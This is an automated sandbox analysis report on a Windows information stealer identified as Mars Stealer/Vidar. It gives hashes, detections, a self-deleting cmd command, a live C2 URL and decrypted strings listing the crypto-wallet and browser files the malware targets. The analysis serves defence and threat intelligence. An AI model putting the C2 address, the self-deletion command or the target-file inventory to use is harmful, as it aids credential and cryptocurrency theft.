Edit tour

Windows Analysis Report
DZ1x3hqhbe.exe

Overview

General Information

Sample name:	DZ1x3hqhbe.exe renamed because original name is a hash value
Original sample name:	a3e2fbe15176a56ac45f26368b80b3fc.exe
Analysis ID:	1367967
MD5:	a3e2fbe15176a56ac45f26368b80b3fc
SHA1:	a0431e50317a2c6c94aade1a10be6f20f62ad436
SHA256:	61b5c2f0dd54539e5baea9155aaca72c8fd6f12279083511d4d3eccd9e360f9b
Tags:	ArkeiStealerexe
Infos:

Detection

Mars Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found C&C like URL pattern

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

PE file has a writeable .text section

PE file has nameless sections

Sample uses string decryption to hide its real strings

Self deletion via cmd or bat file

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DZ1x3hqhbe.exe (PID: 1460 cmdline: C:\Users\user\Desktop\DZ1x3hqhbe.exe MD5: A3E2FBE15176A56AC45F26368B80B3FC)

cmd.exe (PID: 7176 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7228 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Mars Stealer

{"C2 url": "couriercare.in/2/gate.php"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
DZ1x3hqhbe.exe	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1663451116.000000000043C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000000.1615604617.000000000043C000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4520:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xcf40:$a2: wallet.dat 0xd390:$b1: CC\%s_%s.txt 0xd920:$b2: History\%s_%s.txt 0xdac0:$b3: Autofill\%s_%s.txt
Process Memory Space: DZ1x3hqhbe.exe PID: 1460	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: DZ1x3hqhbe.exe PID: 1460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DZ1x3hqhbe.exe PID: 1460	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xea24f:$a2: wallet.dat 0xea5d2:$b1: CC\%s_%s.txt 0xea958:$b2: History\%s_%s.txt 0xeaab4:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x14dc:$a2: wallet.dat 0x3a15:$b1: CC\%s_%s.txt 0x3b67:$b2: History\%s_%s.txt 0x3999:$b3: Autofill\%s_%s.txt
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.DZ1x3hqhbe.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.DZ1x3hqhbe.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.DZ1x3hqhbe.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.DZ1x3hqhbe.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4920:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B

Snort Signatures

ET TROJAN Win32/Vidar Variant/Mars Stealer Resources Download - Source IP: 192.187.112.99 - Destination IP: 192.168.2.4

Timestamp:	192.187.112.99192.168.2.480497292036654 12/29/23-12:06:52.089704
SID:	2036654
Source Port:	80
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.4 - Destination IP: 192.187.112.99

Timestamp:	192.168.2.4192.187.112.9949729802022818 12/29/23-12:06:51.530868
SID:	2022818
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DZ1x3hqhbe.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://couriercare.in/2/gate.php	Avira URL Cloud: Label: malware
Source: couriercare.in/2/gate.php	Avira URL Cloud: Label: malware
Source: http://couriercare.in/request)CE	Avira URL Cloud: Label: malware
Source: http://couriercare.in/2/gate.phpcM	Avira URL Cloud: Label: malware
Source: http://couriercare.in/request	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack

Malware Configuration Extractor: Mars Stealer {"C2 url": "couriercare.in/2/gate.php"}

Multi AV Scanner detection for domain / URL

Source: couriercare.in	Virustotal: Detection: 16%	Perma Link
Source: couriercare.in/2/gate.php	Virustotal: Detection: 17%	Perma Link
Source: http://couriercare.in/2/gate.php	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for submitted file

Source: DZ1x3hqhbe.exe	ReversingLabs: Detection: 83%
Source: DZ1x3hqhbe.exe	Virustotal: Detection: 81%			Perma Link

Machine Learning detection for sample

Source: DZ1x3hqhbe.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: 21/04/2022 20:00:00
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: http://
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Default
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: open
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: .zip
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Tag:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Working Path:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Local Time:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Display Language:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Processor:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: OS:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Bit)
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Videocard:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PC name:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: User name:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Domain name:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MachineID:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GUID:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: system.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Wallets\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Ethereum
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: keystore
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Electrum
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Exodus
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: window-state.json
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: seed.seco
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: info.seco
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: default_wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: JAXX
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Atomic
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: 000003.log
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: LOCK
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: 0000*
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Binance
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Binance\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: app-store.json
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Coinomi
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: *.wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: *.config
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: memset
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: memcpy
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateThread
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SaveDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
